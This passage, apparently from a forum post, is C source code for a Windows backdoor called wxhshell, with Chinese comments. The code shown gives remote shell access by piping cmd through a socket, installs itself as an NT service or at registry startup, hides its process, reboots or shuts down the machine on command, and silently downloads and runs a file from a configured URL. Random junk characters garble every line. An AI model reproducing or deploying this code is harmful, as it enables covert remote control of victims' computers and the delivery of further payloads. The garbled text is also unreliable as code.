  // 帮助 Z#:@M[HH{  
  case '?': { $H@)hY8wA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H_=[~mJ  
    break; NEou2y+}  
  } qVe6RpS  
  // 安装 4NR5?s  
  case 'i': { 5a|m}2IX  
    if(Install()) 8lGgp&ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Dh;=xG  
    else k8wi-z[dV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W (c\$2`  
    break; ts\>_/  
    } S,9WMti4x  
  // 卸载 `&[:!U2]F  
  case 'r': { YJvT p~  
    if(Uninstall()) -&D6w9w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f#Cdx"  
    else [K@!JY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L59\y8H  
    break; "v(]"L  
    } >8;%F<o2  
  // 显示 wxhshell 所在路径 d4h(F,K7V  
  case 'p': { )[X!/KR90  
    char svExeFile[MAX_PATH]; )bU")  
    strcpy(svExeFile,"\n\r"); fvMhq:Bu  
      strcat(svExeFile,ExeFile); bK;a V&  
        send(wsh,svExeFile,strlen(svExeFile),0); IeI% X\G  
    break; NWwtq&pz2  
    } 0Ilvr]1a4  
  // 重启 35kbE'  
  case 'b': { OSi9J.]O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]%8;c  
    if(Boot(REBOOT)) \bA'Furp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]~1.i  
    else { $<e .]`R  
    closesocket(wsh); %vYlu%c<  
    ExitThread(0); Eq;frnw>q  
    } "(&`muIc  
    break; (Ha}xwA~(  
    } c!wB'~MS#  
  // 关机  /r@  
  case 'd': { YgOgYo{E!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L=!kDU  
    if(Boot(SHUTDOWN)) QGG(I7{-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3CuoB b8  
    else { @wJa33QT  
    closesocket(wsh); afq +;Sh  
    ExitThread(0); n(O p<  
    } 3v+}YT{>b  
    break; {&qsh9ob  
    } L\CM);y  
  // 获取shell Ki;5 =)  
  case 's': { <KPx0g?=b  
    CmdShell(wsh); rB|:r\Z(jG  
    closesocket(wsh); -+@~*$ d  
    ExitThread(0); Awf = yE:  
    break; ms<uYLp  
  } zGz'2, o3  
  // 退出 xm, yqM!0A  
  case 'x': { >Mw =}g@P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #f;1f8yrN  
    CloseIt(wsh); > BCX%<&  
    break;  grA L4  
    } Z*"t]L  
  // 离开 L>GYj6D9  
  case 'q': { O[B_7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H4A+Dg,  
    closesocket(wsh); P,=J"%a-  
    WSACleanup();  HcS^3^Y  
    exit(1); F4(U~n<  
    break; ,.MG&O  
        } _'dy$.g  
  } "fd=(& M*l  
  } ^@"f%3  
D ,^ U%<`  
  // 提示信息 \ jdO,-(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4tNgK[6M  
} 8@ g D03  
  } *.Hnt\4|  
4<Y[L'UaA@  
  return; ?|yJ #j1=  
} I3b-uEHev  
}kefrT  
// shell模块句柄 ~2ei+#d!^  
int CmdShell(SOCKET sock) dh`A(B{hfc  
{ aJ;R8(*;\  
STARTUPINFO si; Mn;CG'FA  
ZeroMemory(&si,sizeof(si)); c4W"CD;D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vAxtN RS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aKr4E3`  
PROCESS_INFORMATION ProcessInfo; [c )\?MWW  
char cmdline[]="cmd"; m]pvJJ@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G=Bj1ss.  
  return 0; Y %8QFM  
} RM$S|y{L  
u)>*U'bM  
// 自身启动模式 I@v.Hqg+7  
int StartFromService(void) vB4qJ{f  
{ 5X|aa>/  
typedef struct |<icx8hbr  
{ vtjG&0GSK  
  DWORD ExitStatus; YP97D n  
  DWORD PebBaseAddress; 8Wp1L0$B  
  DWORD AffinityMask; h0}-1kVT^  
  DWORD BasePriority; KJZY.7  
  ULONG UniqueProcessId; _fw'c*j  
  ULONG InheritedFromUniqueProcessId; lR^Qm|  
}   PROCESS_BASIC_INFORMATION; 6 VDF@V$E  
'o9V0#$!  
PROCNTQSIP NtQueryInformationProcess; Y :BrAa[  
PmTd+Gj$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -W vAmi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |8ZAE%/d  
=5F49  
  HANDLE             hProcess; c~;.m<yrf  
  PROCESS_BASIC_INFORMATION pbi; \LXNdE2B  
H[U*' 2TJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |REU7?B  
  if(NULL == hInst ) return 0; "<b84?V5  
Vdyx74xX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H-lRgJdc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \/zS@fz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N`fY%"5U>  
Fd'L:A~  
  if (!NtQueryInformationProcess) return 0; <h0ptCB  
%)]RM/e8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /m:}rD  
  if(!hProcess) return 0; 2N#L'v@g=+  
T3Fh7S /  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :6{HFMf"  
]B[Qdn  
  CloseHandle(hProcess); /2I("x]  
EQ-~e   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,oe4*b}O=.  
if(hProcess==NULL) return 0; S_=uv)%a  
9rz"@LM  
HMODULE hMod; r&;AG@N/  
char procName[255]; hw2Hn   
unsigned long cbNeeded; r?*?iw2g  
d~%Rnic6*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); af{K4:I  
E"!*ASN  
  CloseHandle(hProcess); $!lxVZ>  
so?1lG  
if(strstr(procName,"services")) return 1; // 以服务启动 }o.ZCACYg  
c:5BQr '  
  return 0; // 注册表启动 ]T`qPIf;yJ  
} .=S{  
)vzT\dQ|  
// 主模块 @"0qS:s]X  
int StartWxhshell(LPSTR lpCmdLine) aleIy}"  
{ 2{\Y<%.  
  SOCKET wsl; CJ b ~~  
BOOL val=TRUE; cj)~7 WF  
  int port=0; eS|p3jk;  
  struct sockaddr_in door; -)GfSk   
L3\{{QOA  
  if(wscfg.ws_autoins) Install(); n\4+xZr  
-TWo-iu^  
port=atoi(lpCmdLine); .>e~J+oL  
@P>@;S  
if(port<=0) port=wscfg.ws_port; 6dp~19T^  
j!/(9*\  
  WSADATA data; Qzv_|U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Oa1FvoEA  
va.wdk g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ),eiJblH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  $?YkgK  
  door.sin_family = AF_INET; oR }  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qn7e6u@V  
  door.sin_port = htons(port); h2]Od(^[  
ub%q<sE*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +Xk!)Ge5E*  
closesocket(wsl); n:+M Nr  
return 1; '7^_$M3$\  
} :|g{ gi  
}e$);A|  
  if(listen(wsl,2) == INVALID_SOCKET) { V RL6F2 >6  
closesocket(wsl); O<*iDd`(e  
return 1; (;h\)B!o  
} <LE>WfmC  
  Wxhshell(wsl); sQvEUqy9  
  WSACleanup(); KqQrxi?f-  
^B/{  
return 0; rRW&29A  
&wfM:a/c  
} |V& k1{V  
Sn]A0J_  
// 以NT服务方式启动 W0|?R6|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T+fU +GLD  
{ E^!%m8--  
DWORD   status = 0; M;OYh  
  DWORD   specificError = 0xfffffff; In r%4&!e  
&'R]oeag  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K67x.PZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Onl:eG;@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mP-+];gg  
  serviceStatus.dwWin32ExitCode     = 0; sf LBi~*j  
  serviceStatus.dwServiceSpecificExitCode = 0; 8c#*T%Vf  
  serviceStatus.dwCheckPoint       = 0;  2r[,w]  
  serviceStatus.dwWaitHint       = 0; UkUdpZ.[il  
C`ok{SNtUy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %<klz)!t  
  if (hServiceStatusHandle==0) return; 9Y(<W_{/  
lk}x;4]Z  
status = GetLastError(); CH2o[&  
  if (status!=NO_ERROR) Msf yI B  
{ R~b$7jpd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :V [vE h  
    serviceStatus.dwCheckPoint       = 0; X qh+  
    serviceStatus.dwWaitHint       = 0; _LK(j;6K}  
    serviceStatus.dwWin32ExitCode     = status; C5m*pGImG  
    serviceStatus.dwServiceSpecificExitCode = specificError; G100L}d"N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Wr$hDt^  
    return; 5ZPl`[He  
  } )wC>Hq[mhW  
3,GSBiK3}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3k=q>~& @  
  serviceStatus.dwCheckPoint       = 0; X*b0qJ Z  
  serviceStatus.dwWaitHint       = 0; "371`!%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =3@^TW(j  
} JS4pJe\q  
</eh^<_~  
// 处理NT服务事件,比如:启动、停止 kmf4ax h1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8=$@azG  
{ eI@O9<.&  
switch(fdwControl) c;Li~FLR  
{ (C!fIRY  
case SERVICE_CONTROL_STOP: kAqk~.  
  serviceStatus.dwWin32ExitCode = 0; K3jno+U&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e}kG1C8  
  serviceStatus.dwCheckPoint   = 0; 6>l-jTM  
  serviceStatus.dwWaitHint     = 0; |YH1q1l  
  {  tW,<Pe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2$jY_{B+x  
  } ZnQnv@{8 l  
  return; 6Cibc .vt  
case SERVICE_CONTROL_PAUSE: }MoCUN)I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E\ QSU88^  
  break; HLS^Ga,(  
case SERVICE_CONTROL_CONTINUE: I(2ID +  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j*P@]&e7d  
  break; sh0O~%]g  
case SERVICE_CONTROL_INTERROGATE: a+Q)~13  
  break; {#7t(:x  
}; h7g9:10  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .AKx8=f  
} 3M^ /   
<4Ak$ E %"  
// 标准应用程序主函数 ?)9 6YX'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dj[D|%9a  
{ M+Dkn3bx  
nkpQM$FW  
// 获取操作系统版本 $XJe)  
OsIsNt=GetOsVer(); |/q*Fg[f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L)Kn8  
PoC24#vS  
  // 从命令行安装 #0weN%  
  if(strpbrk(lpCmdLine,"iI")) Install(); I qma vnM#  
{|a' =I#2  
  // 下载执行文件 h.DQ6!?;s  
if(wscfg.ws_downexe) { ;Eck7nRA)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t]Vw` z%G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 62.{8Uj  
} 7m1*Q@D  
ek.L(n,J|  
if(!OsIsNt) { aFhsRE?YC=  
// 如果时win9x,隐藏进程并且设置为注册表启动 eM8u ;i  
HideProc(); 5t0$nKah]  
StartWxhshell(lpCmdLine); ,]o32@   
} Wc(?ezn  
else A M# '(k(  
  if(StartFromService()) ZM<1;!i  
  // 以服务方式启动 _wm"v19  
  StartServiceCtrlDispatcher(DispatchTable); ak<?Eu9rV  
else @mW0EJ8bb  
  // 普通方式启动  Wkf)4!  
  StartWxhshell(lpCmdLine); !I:6L7HdwB  
gp;(M~we  
return 0; 4H{L>e  
}
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只看该作者 1 发表于: 2006-10-10
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